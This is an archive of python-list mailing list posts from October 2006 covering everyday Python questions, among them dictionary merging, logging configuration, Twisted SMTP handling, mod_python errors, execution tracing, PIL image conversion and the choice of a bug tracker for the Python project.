From bborcic at gmail.com  Wed Oct 18 12:03:09 2006
From: bborcic at gmail.com (Boris Borcic)
Date: Wed, 18 Oct 2006 18:03:09 +0200
Subject: Dictionaries
In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
Message-ID: <4536506d$1_4@news.bluewin.ch>


dict(a.items() + b.items())

Lad wrote:
> How can I add two dictionaries into one?
> E.g.
> a={'a:1}
> b={'b':2}
> 
> I need
> 
> the result {'a':1,'b':2}.
> 
> Is it possible?


From onurb at xiludom.gro  Mon Oct  9 07:01:55 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 13:01:55 +0200
Subject: Bizzare lst length problem
In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
Message-ID: <452a2c23$0$13108$426a74cc@news.free.fr>

Ben wrote:
> Ah... my list is a string. That explains the len() results, but not why
> it is a string in the dirst place.
> 
> I have a dictionary containing a number of instances of the following
> class as values:
> 
> class panel:
>     mops =[]

This one is a class attribute - it's shared between all instances of panel.

>     def __init__(self,number,level,location,mops,matrix):
>          self.number=number
>          self.level=level
>          self.location=location
>          self.mops=mops

And here, you create an instance attribute with the same name, that will
shadow the class attribute.

>          self.matrix=matrix
> 
> 
> abve mops is a list, yet when I access it it is a string...

the class attribute 'mops' is a list. The instance attribute 'mops' is
whatever you passed when instanciating panel.


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From dsa at unilestemg.br  Wed Oct 25 12:57:39 2006
From: dsa at unilestemg.br (Douglas Soares de Andrade)
Date: Wed, 25 Oct 2006 14:57:39 -0200
Subject: python GUIs comparison (want)
In-Reply-To: <1161798424.168371.94390@m73g2000cwd.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<1161790989.759272.49650@b28g2000cwb.googlegroups.com>
	<1161798424.168371.94390@m73g2000cwd.googlegroups.com>
Message-ID: <453F9783.3060102@unilestemg.br>

Stephen Eilert escreveu:
> BartlebyScrivener wrote:
>   
>> Well, I am woefully unqualified to speak to the general state of Python
>> gui frameworks, but I am in a similar situation as the OP, i.e., a
>> beginner looking to TRY some easy gui programming in Python. Not being
>> a computer science person, just an amateur scripter, I tend to learn
>> best from lots of examples.
>>
>> With all of that as background, I downloaded the latest wxPython demos
>> and docs yesterday. I suggest that the OP do the same. The demo.py
>> program is an amazing piece of work. It's loaded with specific examples
>> which allow you to view the frame or dialog etc, and then look behind
>> it to see the code used to create it.
>>
>> rd
>>     
>
>
> You can also download wxGlade and ask it to generate the code for you.
> You just have to layout the components the way you want it, wxGlade
> does the rest. Even though there are tons of wxWidgets components it
> does not support, you can put something as a placeholder and just
> replace the code later.
>
> For looks, speed, ease of use (even though it is not Pythonic),
> platform compatibility and use of native widgets, my vote goes to
> wxPython. If you don't mind adding another layer (as I doubt the
> runtime performance suffers much - if at all), there is dabo.ui (thanks
> to whoever pointed it out to me).
>
> PyQT looks good... under KDE, alien under Win32.

PyQt4 is already out and trust me... Is it great :o)

Phil is doing a great job with it and Detlev (Eric3/4 developer) already 
released some snapshots of eric4, so the windows python users can expect 
a great python enviroment in the future.
>  PyGTK looks good under
> Gnome, and acceptable on Win32, even if their widgets do not always act
> as Win32 users would expect.
>
>   



From kogrover at gmail.com  Fri Oct 20 12:08:58 2006
From: kogrover at gmail.com (Kevin Grover)
Date: 20 Oct 2006 09:08:58 -0700
Subject: pywin32 COM sort in Excel (late binding fails,
	early binding works) (+py2exe)
In-Reply-To: <mailman.780.1161285019.11739.python-list@python.org>
References: <1161273426.239477.260660@h48g2000cwc.googlegroups.com>
	<mailman.780.1161285019.11739.python-list@python.org>
Message-ID: <1161360538.376274.176810@h48g2000cwc.googlegroups.com>


On Oct 19, 10:09 am, Thomas Heller <thel... at ctypes.org> wrote:
> Thomas- Hide quoted text -- Show quoted text -

That's it thanks.  A quick google search lead me to:

http://www.py2exe.org/index.cgi/IncludingTypelibs

Cheers

- Kevin



From gagsl-py at yahoo.com.ar  Tue Oct 24 22:50:36 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 23:50:36 -0300
Subject: No subject
In-Reply-To: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com>
References: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com>
Message-ID: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar>

At Tuesday 24/10/2006 23:25, Michael S wrote:

>I extended part of my program in C, since that part
>was too involved for Python. Now when I import the
>module I created and call its functions, I am trying
>to feedback some information bac to my wxPython
>program. The function runs for a while and I wanted to
>update a progress bar, but when I call the function of
>my new module, wxPython doesn't respond when wx.Timer
>is supposed to fire.

Does your extension run on a separate thread? I guess not. So the 
wxPython code does not have a chance to run.
Do it the other way: from your C code, call a Python function which 
in turn updates the progress bar (and keep it simple!)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From bearophileHUGS at lycos.com  Thu Oct 26 09:01:14 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 26 Oct 2006 06:01:14 -0700
Subject: displaying \n-less prompts in a pythonic way
In-Reply-To: <slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com>
	<slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1161867673.980223.44090@i3g2000cwc.googlegroups.com>

Sybren Stuvel:
> def prompt(label):
>     '''Prompts the user, returning the typed text'''

>     sys.stdout.write(label)
>     return sys.stdin.readline()

Maybe raw_input function may help too.

Bye,
bearophile



From robert.kern at gmail.com  Wed Oct 18 12:35:29 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 18 Oct 2006 11:35:29 -0500
Subject: Looking for assignement operator
In-Reply-To: <4535e7d8$0$377$426a74cc@news.free.fr>
References: <eh2n08$4ji$1@online.de>	<1161158101.890041.122160@k70g2000cwa.googlegroups.com>
	<4535e7d8$0$377$426a74cc@news.free.fr>
Message-ID: <eh5l4i$j8h$1@sea.gmane.org>

Bruno Desthuilliers wrote:
> Tommi wrote:
> (please don't top-post - corrected)
>>
>> Alexander Eisenhuth wrote:
>>> Hello,
>>>
>>> is there a assignement operator, that i can overwrite?
>>>
>>> class MyInt:
>>> 	def __init__(self, val):
>>> 		assert(isinstance(val, int))
>>> 		self._val = val
>>>
>>> a = MyInt(10)
>>>
>>> # Here i need to overwrite the assignement operator
>>> a = 12
>>>
> 
>> Could the "traits" package be of help?
>>
>> http://code.enthought.com/traits/
> 
> How could it help ?

It doesn't. (I am an Enthought developer.)

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From bugs at almad.net  Thu Oct  5 05:42:57 2006
From: bugs at almad.net (Almad)
Date: 5 Oct 2006 02:42:57 -0700
Subject: Multiple calls to logging.config.fileConfig
Message-ID: <1160041377.361490.278710@m7g2000cwm.googlegroups.com>

Hi,

our applications can have plugins as subpackages and I'd like to allow
them to use their own logger as well as it's configuration. I thought
that best way will be their own configuration file passed to
fileConfig.

However, I run into problems...

1) It seems that I cannot refer to something from previously loaded
files, i.e. I'd like application config file to specify formatters and
handlers and plugins only referring them.

2) I'm not sure about "appending" loggers; if I specify
[loggers]
keys: web

and then
[loggers]
keys: syncml

Will web not be overwritten?

3) Finally, I run into "root" problem. In second call, if I specify
root logger again:

[loggers]
keys: root,web

(...)

[logger_web]
level: WARNING
qualname: xxx.web
handlers: console

I'll get

Traceback (most recent call last):
  File "/usr/lib/python2.4/logging/config.py", line 143, in fileConfig
    llist.remove("root")


If I'll set only web as logger, I'll get standard NoSectionFound
exception.

Any idea how to fix this? It seems that I have to write custom parser
merging all files and config logging directly from code, but I'd like
to assure that it's the standard way...

Regards,

Almad



From pandyacus.xspam at xspam.sbcglobal.net  Sat Oct 28 11:31:45 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sat, 28 Oct 2006 15:31:45 GMT
Subject: PROBLEM with MOD_PYTHON
References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
Message-ID: <87slh81mo9.fsf@nandi.2wire.net>

"dan84" <marko_m at hotmail.it> writes:
> I don't understand this error , in the (Apache) errorlog I read this
> message :
> 
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import
> mod_python.apache.\n
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being
> used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib',
> '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk',
> 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']".
> [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter
> callback found.
> [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler:
> Can't get/create interpreter.
> 
> I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3
> I have read all the manuals, but I don't understand where I am wrong.
> 
> thanks so much
>                Marco.
Even if there is nothing Apache specific, doesn't it look odd that the
path has 4 backslashes? Even accounting for half of those being added at the
time of printing, it would appear that Apache is trying to use the path that 
contains two backslashes as path separator but there needs to be only one. 

Chetan



From rogue_pedro at yahoo.com  Sun Oct 22 17:14:03 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 22 Oct 2006 14:14:03 -0700
Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure?
In-Reply-To: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>
References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>
Message-ID: <1161551642.987513.105590@k70g2000cwa.googlegroups.com>

steve wrote:
> I thought that when read Guido van Rossum' Python tutorial.What can we
> think that?

What?



From nairarunv at gmail.com  Thu Oct 26 05:50:44 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 02:50:44 -0700
Subject: Cards deck problem
In-Reply-To: <mailman.1262.1161856121.11739.python-list@python.org>
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<mailman.1262.1161856121.11739.python-list@python.org>
Message-ID: <1161856244.275673.79170@m73g2000cwd.googlegroups.com>

Im so sorry about that but the lecturer doesnt teaches anything so its
become very difficult for me to do it if you guys have any notes on
classes it will be very helpfull. and i can try on my own.

regards,

Arun

On Oct 26, 7:47 pm, Ben Finney <bignose+hates-s... at benfinney.id.au>
wrote:
> "Arun Nair" <nairar... at gmail.com> writes:
> > Can any one help me with this im not getting it even after reading
> > books because there is not much of discussion anywherePerhaps the discussion should be between yourself and your teacher, or
> the other students in your class. We're not here to do your homework
> assignments.
>
> --
>  \       "It is seldom that liberty of any kind is lost all at once."  |
>   `\                                                     -- David Hume |
> _o__)                                                                  |
> Ben Finney



From jan.bakuwel at int.greenpeace.org  Fri Oct 13 12:44:35 2006
From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel)
Date: Fri, 13 Oct 2006 18:44:35 +0200
Subject: Newbie: trying to twist my head around twisted (and python)
In-Reply-To: <mailman.321.1160580341.11739.python-list@python.org>
References: <mailman.321.1160580341.11739.python-list@python.org>
Message-ID: <12ivgjjsgbq6t31@corp.supernews.com>

Jean-Paul Calderone wrote:

> The return value of eomReceived is used to determine whether to signal to
> the SMTP client whether the message has been accepted.  Regardless of your
> application logic, if you are taking responsibility for the message, you
> should return a successful result.  If all of your processing is
> synchronous,
> then you simply need to return twisted.internet.defer.succeed(None) at the
> end of the function.  If you have asynchronous processing to do (it does
> not
> appear as though you do), you will need to return a Deferred which only
> fires
> once that processing has been completed.

There's still a bit of mystery in here for me...
I'll be taking responsibility for the message in my code... but perhaps
my code encounters a non resolvable error (such as disc full). In that
case I would like to be able to signal a failure instead of success.

Would the following code do the job "properly"?

    def eomReceived(self):
        # message is complete, store it
        self.lines.append('') # add a trailing newline
        messageData = '\n'.join(self.lines)
        emailMessage = message_from_string(messageData)
        try:
            processEmail(emailMessage)
            return defer.succeed(None)
        except:
            return defer.fail
    #end eomReceived

thanks,
Jan


From sjmachin at lexicon.net  Wed Oct  4 20:18:14 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 17:18:14 -0700
Subject: can't open chm files all of a sudden
In-Reply-To: <4524412c$0$16606$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<zPQUg.60$1n3.960@news.tufts.edu>
	<DoRUg.9937$UG4.3673@newsread2.news.pas.earthlink.net>
	<pan.2006.10.04.22.08.47.994880@keithperkins.net>
	<4524412c$0$16606$c3e8da3@news.astraweb.com>
Message-ID: <1160007493.966719.114780@h48g2000cwc.googlegroups.com>


John Salerno wrote:
> Keith Perkins wrote:
>
> > I used HTMLKit when I still used Windows, and liked it a lot.  It's really
> > a great HTML/PHP, etc. editor, if you can get past the front page.
> > That being said (if I remember correctly) hh.exe is a part of htmlkit, and
> > may have been the the cause of your problem by making itself the default
> > chm reader. (Check your settings under files to see what you have as the
> > default reader now. (and sorry, forgot how to do that, it's been almost
> > two years since I've had to fiddle with Windows, so I'm not sure of the
> > exact place to check for it.))
> > Keith
>
> Thanks for the response. I checked and hh.exe is the default, but should
> it not be? It seems like the official program to open CHM files.

hh.exe is the standard Windows CHM opener. Suspicion should be directed
at DLLs being replaced by HTMLKit.

**********************************************************
*** What is the error message that you get ??? ***
**********************************************************



From aum at spam.me.please  Sat Oct  7 20:39:29 2006
From: aum at spam.me.please (aum)
Date: Sun, 08 Oct 2006 13:39:29 +1300
Subject: ANN: SimpleJSONRPCServer
References: <pan.2006.10.07.21.16.04.582148@spam.me.please>
Message-ID: <pan.2006.10.08.00.39.29.152326@spam.me.please>

On Sun, 08 Oct 2006 10:16:05 +1300, aum wrote:

> If any Python honchos here want to raise a PEP for it, I'd support that
> fully.

Don't worry - I've just posted my own PEP for it.

Cheers
aum



From paul at boddie.org.uk  Mon Oct  9 09:36:30 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 9 Oct 2006 06:36:30 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
Message-ID: <1160400990.785258.17750@m73g2000cwd.googlegroups.com>

Magnus Lycka wrote:
>
> It seems to me that an obvious advantage with either Roundup
> or Trac, is that if the Python project used it, the Python
> project would have a significant impact on how this product
> developed. Even if the Jira people seem eager to please us,
> I'm pretty convinced that it will be easier to get Roundup
> or Trac improved to fit our particular needs.

Yes, because Roundup and Trac are open source projects: there is no
barrier to prevent the users taking the code in a direction appropriate
to their own needs. And just to make it clear that I'm not picking on
Jira, it should be noted that even with their apparent willingness to
make a useful "community" product (and their otherwise remarkable open
source credentials), the Launchpad developers can't offer the kinds of
assurances implicitly provided by Roundup, Trac or any of their open
source brethren.

> That's valuable in two ways:
> 1) The Python project would get a bug tracker which is
>     developed with the needs of the Python project as a
>     prime concern. (Being the major "customer" of a product
>     has benefits. Jira on the other hand, might get more
>     and more integrated with other Java stuff that we don't
>     really care about.

As has been said already, there's supposedly no guarantee that people
will want to develop Roundup at a hectic tempo in order to satisfy the
needs/desires of the Python developers. But then again, other pieces of
infrastructure have a high community investment, notably Mailman (which
uses Jira as its issue tracker, as it turns out).

> 2) We'd help making a good Python product even better, and
>     probably more widely used, thus spreading the use of
>     Python even further.

It seems to me that with all the fuss about marketing Python [1],
instead of ranting about how other products and technologies are
stealing all the thunder, one might instead want to start closer to
home. In this respect, several opportunities are being missed or
squandered either because people think marketing is all about press
releases, or they want Python to retain its stealth label (the
"competitive advantage" people mention constantly).

Take python.org as the place to start. One can claim all one likes
about how Web applications aren't special enough to warrant special
mentions or coverage in the context of persuading people about Python's
advantages, but many people presumably visit python.org and wonder...

  * How they can develop Web applications using Python in a way they
    recognise either from intuition or previous experience. Where can
    they find a good solution and get started quickly?

  * Whether python.org, as some kind of content platform, is some kind
    of convenient answer to their own Internet/intranet site project.
    Can they download the code and run the same kind of thing
    themselves?

The answers aren't too clear to these questions. I've revisited some of
the material available via python.org [2] in order to attempt to
provide clearer answers to the first question, but the topic of
standardisation is currently stagnant (so it's every framework for
itself), and the community is split between hyping the most popular
frameworks whilst emphasizing the modest achievements that led to WSGI
(which doesn't really answer the first question entirely). Meanwhile,
despite the python.org codebase presumably running various commercial
sites, it would surprise me if there would ever be a convenient
downloadable package of that codebase available prominently from
python.org itself (even though the components are all openly
available). So the Python project - the power behind content management
solutions like Zope, Plone and (at a different angle) MoinMoin - offers
an incoherent response to the second question.

Then, there are the other recommendations under the "Using Python
For..." heading - advocacy points to show how Python can be really
useful - which mentions under "Software Development" the following:
Buildbot, Trac, Roundup and IDEs. If one ignores the current issue
tracker debate for a moment and follows the "Software Development"
link, one reaches a general Python applications page which mentions
amongst other "choices for web development" the CPS project, and
following the provided link swiftly delivers another advocacy own-goal:
"We're switching to JAVA!" state the CPS people proudly, still
blissfully unaware that "Java" isn't an acronym; "Read why" they
suggest.

It's tempting to label what I've written above as just some
opportunistic criticism of the maintenance level of the python.org
content, that the core developers should just choose their tools and
get on with things, and that this thread has attempted to politicize
the decision under discussion from the start. Indeed, as someone who
merely browses python-dev, perhaps I shouldn't care how the core
developers track their bugs: if they struggle to manage that
information in future, why should I care? Well, the reason I should
care is related to the reason why the core developers should care about
more than purely technical issues: the wider community and the core
developers do not exist by themselves in isolation; the well-being of
the community is related to how Python is managed and portrayed by the
custodians of the language, and the well-being of the development
effort is related to how much community effort can be directed towards
improving the language and its image. If this were not so, Python would
have vanished like many of its contemporaries.

Perhaps the decision makers evaluated the above and much more in depth,
although us outsiders are not in a position to say, but perhaps the
discussion around the decision wouldn't have been so inflammatory in
places if there had been an acknowledgement of this "bigger picture" of
the community, its influences and that in a large open source project
no moderately significant decision is without a political dimension.

Paul

[1] http://www.artima.com/forums/flat.jsp?forum=106&thread=150515
[2] http://wiki.python.org/moin/WebFrameworks



From hanumizzle at gmail.com  Sun Oct  8 09:37:17 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 09:37:17 -0400
Subject: need some regular expression help
In-Reply-To: <roy-56F2BC.09304208102006@reader1.panix.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
	<1160297390.242124.260770@i3g2000cwc.googlegroups.com>
	<roy-56F2BC.09304208102006@reader1.panix.com>
Message-ID: <463ff4860610080637u497e8c87k8fcfcf5d8d131d8e@mail.gmail.com>

On 10/8/06, Roy Smith <roy at panix.com> wrote:
> "Diez B. Roggisch" <deets at web.de> wrote:
> > Certainly true, and it always gives me a hard time because I don't know
> > to which extend a regular expression nowadays might do the job because
> > of these extensions. It was so much easier back in the old times....
>
> What old times?  I've been working with regex for mumble years and there's
> always been the problem that every implementation supports a slightly
> different syntax.  Even back in the "good old days", grep, awk, sed, and ed
> all had slightly different flavors.

Which grep? Which awk? :)

-- Theerasak


From matthew_j_warren at hotmail.com  Thu Oct 19 11:11:20 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 19 Oct 2006 08:11:20 -0700
Subject: Determining if a file is locked in Windows
In-Reply-To: <1161269072.312305.297430@m73g2000cwd.googlegroups.com>
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
	<ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
	<1161269072.312305.297430@m73g2000cwd.googlegroups.com>
Message-ID: <1161270680.303152.75200@e3g2000cwe.googlegroups.com>

elake wrote:
> Larry Bates wrote:
> > elake wrote:
> > > I found this thread about a pst file in Windows being locked and I am
> > > having the same issue.
> > >
>
> > > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1
> > >
> > > The problem is that I have a script that can find the pst files on
> > > every machine in my network and back them up to a server for safe
> > > keeping. The problem is that when Outlook is running it locks the file
> > > and will not allow me to copy it to the destination. I am using the
> > > shutil module for the copy.
> > >
> > > Is there a way to first determine if the file is locked and then do the
> > > copy if it isn't? I thought about looking to see if Outlook.exe is
> > > running but the machines are shared and the process could be running
> > > but with a different pst file in use.
> > >
> > > Thanks in advance
> > >
> > Try the copy and catch the exception instead.
> >
> > -Larry Bates
>
> Larry thanks for your suggestion. this is what I tried:
>
> #!/usr/bin/env python
>
> import os, shutil
>
> path = 'c:\documents and settings\username\Local Settings\Application
> Data\Microsoft\Outlook'
>
> src = 'Outlook.pst'
> dst = 'test.pst'
>
> os.chdir(path)
>
> try:
>     shutil.copy2(src, dst)
> except IOError:
>     print 'Must be locked by Outlook'
>
> print 'Finished'
>
> The problem is that even though I catch the IOError it overwrites the
> dst file and makes it 0kb. This is going to be for backing these files
> up and it wont be good to overwrite the backup with a bad copy.
>
> Is there another way to do this that I am missing. I am still kind of
> new to Python. If i could tell that outlook had the file locked before
> I tried the copy then I think that it would be prevented.

maybe try and open the file for reading first, then if it opens ok,
just close it and do the copy?



From bkhl at stp.lingfil.uu.se  Sun Oct 29 15:37:06 2006
From: bkhl at stp.lingfil.uu.se (=?utf-8?Q?Bj=C3=B6rn_Lindstr=C3=B6m?=)
Date: Sun, 29 Oct 2006 21:37:06 +0100
Subject: looping through two list simultenously
References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <878xiy97v1.fsf@killalla.dreaming>

"CSUIDL PROGRAMMEr" <syedamjad_a at yahoo.com>:

> folks I have two lists
>
>  i am trying to loop thorough them simultenously.
>
> Is there any efficient doing this

Try the built-in function zip.

>>> zip(['a', 'b', 'c'], [1, 2, 3])
[('a', 1), ('b', 2), ('c', 3)]

-- 
Bj?rn Lindstr?m <bkhl at stp.lingfil.uu.se>
Student of computational linguistics, Uppsala University, Sweden


From fredrik at pythonware.com  Mon Oct  2 04:58:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 2 Oct 2006 10:58:04 +0200
Subject: windev vs python SOS
References: <nXzSg.195$nn3.31@nntpserver.swip.net><0001HW.C14424C100B023CEF0488530@news.individual.de><1159632848.993229.58300@m7g2000cwm.googlegroups.com>
	<4520d2c7$0$2782$636a55ce@news.free.fr>
Message-ID: <efqkat$uts$1@sea.gmane.org>

Bruno Desthuilliers wrote:

> Amanda wrote:
> (snip)
>> I am always amazed when I meet fanatics!!
>
> I'm always amazed when I meet PC-Soft's salespersons...

isn't there some non-python forum where you can sort this one out ?

</F> 





From onurb at xiludom.gro  Wed Oct 18 04:37:42 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 18 Oct 2006 10:37:42 +0200
Subject: Looking for assignement operator
In-Reply-To: <1161158101.890041.122160@k70g2000cwa.googlegroups.com>
References: <eh2n08$4ji$1@online.de>
	<1161158101.890041.122160@k70g2000cwa.googlegroups.com>
Message-ID: <4535e7d8$0$377$426a74cc@news.free.fr>

Tommi wrote:
(please don't top-post - corrected)
> 
> 
> Alexander Eisenhuth wrote:
>> Hello,
>>
>> is there a assignement operator, that i can overwrite?
>>
>> class MyInt:
>> 	def __init__(self, val):
>> 		assert(isinstance(val, int))
>> 		self._val = val
>>
>> a = MyInt(10)
>>
>> # Here i need to overwrite the assignement operator
>> a = 12
>>

> Could the "traits" package be of help?
>
> http://code.enthought.com/traits/
>

How could it help ?

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From nicogrubert at googlemail.com  Fri Oct 20 03:49:16 2006
From: nicogrubert at googlemail.com (Nico Grubert)
Date: Fri, 20 Oct 2006 09:49:16 +0200
Subject: Convert binary image to JPEG with 72 dpi
Message-ID: <33f2ccdb0610200049k48fd16adg1b883fcbb7c58d26@mail.gmail.com>

Dear list members,

I have the binary content of an image file and it's filename.
I neither know the resolution nor the dpi of the image.

No I need to convert this binary content into a 72 dpi jpeg image.
Furthermore I have to resize the image so neither the width nor the height
is bigger than 250 pixels.

I'd like to use PIL for this job. Any tips how to do it?

Regards,
    Nico
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From nospam at domain.tld  Fri Oct 27 01:10:21 2006
From: nospam at domain.tld (Stephan Kuhagen)
Date: Fri, 27 Oct 2006 07:10:21 +0200
Subject: Tracing the execution of scripts?
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
Message-ID: <ehs4bt$1b8$1@kohl.informatik.uni-bremen.de>

"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote:

> Basically, is there something that will log every line of Python code
> executed, in its order of execution, to a text file so that I can see
> what is (or isn't) happening that I am expecting?

Python itself can do this for you. A __VERY__ simple approach:

|def myCallTrace (frame, event, arg):
|  tracefile.write('localTrace\n  frame: '+str(frame)+'\n  event:
|'+str(event)+'\n  arg: '+str(arg)+'\n')
|  tracefile.write('    '+str(inspect.getframeinfo(frame))+'\n')
|
|def myTrace (frame, event, arg):
|  tracefile.write('globalTrace\n  frame: '+str(frame)+'\n  event:
|'+str(event)+'\n  arg: '+str(arg)+'\n')
|  if event == 'call':
|    return myCallTrace
|
|import inspect
|import sys
|
|sys.settrace(myTrace)
|tracefile = file('trace.txt', 'w')

Insert this in you program and you get a trace of every line of Python-Code
executed in the file trace.txt. You must read the documentation of the
module inspect and of sys.settrace() to understand, what happens and what
it means. Additionally, if it should work with threads, you must take care
that every thread gets its own output file. But as a first step to get a
trace of execution, this should do it.

HTH, Regards
Stephan



From giles_brown at hotmail.com  Wed Oct 11 07:37:59 2006
From: giles_brown at hotmail.com (Giles Brown)
Date: 11 Oct 2006 04:37:59 -0700
Subject: Bad Code (that works) help me re-write!
References: <mailman.300.1160558524.11739.python-list@python.org>
Message-ID: <1160566679.286427.168840@e3g2000cwe.googlegroups.com>

Matthew Warren wrote:
> I have the following piece of code,
<snip>
No doubt you will get some kind soul to suggest some things, but if you
want really good
answers I think you need explain why you want this command file (as
opposed to using
say a python script itself).  Are you attempting to create a simpler
syntax than Python?
A restricted set of operations?

Giles



From python at hope.cz  Tue Oct 17 04:13:56 2006
From: python at hope.cz (Lad)
Date: 17 Oct 2006 01:13:56 -0700
Subject: Any idea how to do this in Python?
Message-ID: <1161072836.884393.204810@f16g2000cwb.googlegroups.com>

In a web application users can post some information. I would like to
link each posting with a "weight of importance" for a user, depending
on a keywords in the posting.
For example, I know that a user A is interested in Nokia mobiles while
user B in Siemens mobiles.
So, if a user A is signed, he would see postings with more Nokia
information FIRST, while B user will see  FIRST  information about
Siemens mobiles
How can be that done in Python?
Thank you for any idea.
L.



From chtaylo3 at gmail.com  Thu Oct 19 13:21:25 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Thu, 19 Oct 2006 13:21:25 -0400
Subject: Compile for 64bit RHEL
Message-ID: <2590773a0610191021u699fee6at69729a0a482f59c7@mail.gmail.com>

Has anyone been able to get python 2.4 to compile properly for x86_64 RHEL?

Respectfully,
Christopher Taylor


From boggom at comcast.net  Fri Oct  6 23:21:35 2006
From: boggom at comcast.net (boggom at comcast.net)
Date: 6 Oct 2006 20:21:35 -0700
Subject: Graph Theory
In-Reply-To: <1160162620.929630.51160@m73g2000cwd.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
	<1160086579.492499.38120@m7g2000cwm.googlegroups.com>
	<1160162620.929630.51160@m73g2000cwd.googlegroups.com>
Message-ID: <1160191295.789588.161780@m73g2000cwd.googlegroups.com>

Other than reading the reference on the
website
https://networkx.lanl.gov/reference/networkx/

you can read the code (eg by browsing the
svn by pointing your web browser at
https://networkx.lanl.gov/browser/networkx/trunk

and then look at
networkx -> generators -> random_graphs.py)

If you are not in interactive python mode, try
pydoc networkx.watts_strogatz_graph

A great way to explore a python package is to
 use ipython in interactive mode, then you merely
need to type

>>> from networkx import *
>>> watts_strogatz_graph?

and you will get the documentation.



diffuser78 at gmail.com wrote:
> Is there any documentation avaialbe for networkx ? I want to have an
> implementation of random graphs including watts and strogatz graph.



From bignose+hates-spam at benfinney.id.au  Fri Oct 27 19:33:40 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 09:33:40 +1000
Subject: Handling emails
References: <mailman.967.1161596728.11739.python-list@python.org>
	<ehqbta$378$1@sea.gmane.org> <8764e6hex1.fsf@benfinney.id.au>
	<200610272311.12604.fulvio@tm.net.my>
Message-ID: <87bqnxe3l7.fsf@benfinney.id.au>

Fulvio <fulvio at tm.net.my> writes:

> On Friday 27 October 2006 06:48, Ben Finney wrote:
> > There is always the option to not send messages to this list using
> > that mail server
>
> Once again sorry for that. I'll take action to switch to another
> mailserver.  Thank for the advice

That would be very much appreciated, thank you.

-- 
 \        "Consider the daffodil. And while you're doing that, I'll be |
  `\           over here, looking through your stuff."  -- Jack Handey |
